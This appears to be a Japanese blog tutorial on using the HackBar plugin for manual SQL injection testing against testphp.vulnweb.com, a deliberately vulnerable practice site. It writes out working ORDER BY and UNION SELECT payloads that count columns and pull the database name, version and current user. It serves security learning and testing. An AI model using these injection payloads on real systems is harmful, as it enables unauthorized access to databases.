('ω')ノHackbarは、手動テストの手順に役立つように設計されたプラグインで。下記からダウンロードして。https://github.com/d3vilbug/HackBar/releases/tag/1.0あとは、インポートするだけで。無事にインストールを確認できて。使い方は、挿入箇所にマウスを当てて右クリックで選択を。インターセプトでも使用できて。下記のサイトで試してみることに。http://testphp.vulnweb.com/artists.php前のぺージよりartistを選択して。リクエストを確認して。Byを挿入することに。カラム数は、2を入力すると。下記のように挿入されて。/artists.php?artist=1+Order+By+2+あとは、直接パラメータを変更したほうが効率は良くて。/artists.php?artist=1+Order+By+3+ここでエラーが出たので、カラム数は3つのようで。/artists.php?artist=1+Order+By+4+次にUNIONを試すことに。複数のSELECTの結果を、ひとまとめにして表示するのがUNIONで。下記のように挿入されるもののシステムは。結果を1行分のデータしか表示しないようなので。1行目のデータを表示されないようにする必要があって。開発者が1行しか表示しないようにしているというわけで。/artists.php?artist=1+Union+Select+1,2,3+なので、最初のクエリを無効にして、出力されないようにすると。本来、2行目に出力されるべきものが出力されて。/artists.php?artist=-1+Union+Select+1,2,3+その他の例は、以下のとおりで。/artists.php?artist=1+and+0+Union+Select+1,2,3+データベース名を探して。/artists.php?artist=-1+Union+Select+1,database(),3+バージョンとユーザ名も。/artists.php?artist=-1+Union+Select+1,version(),current_user()+バージョンが、8.0.22-0ubuntu0.20.04.2ということでmysqlのようで。injectionsを。(3)引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。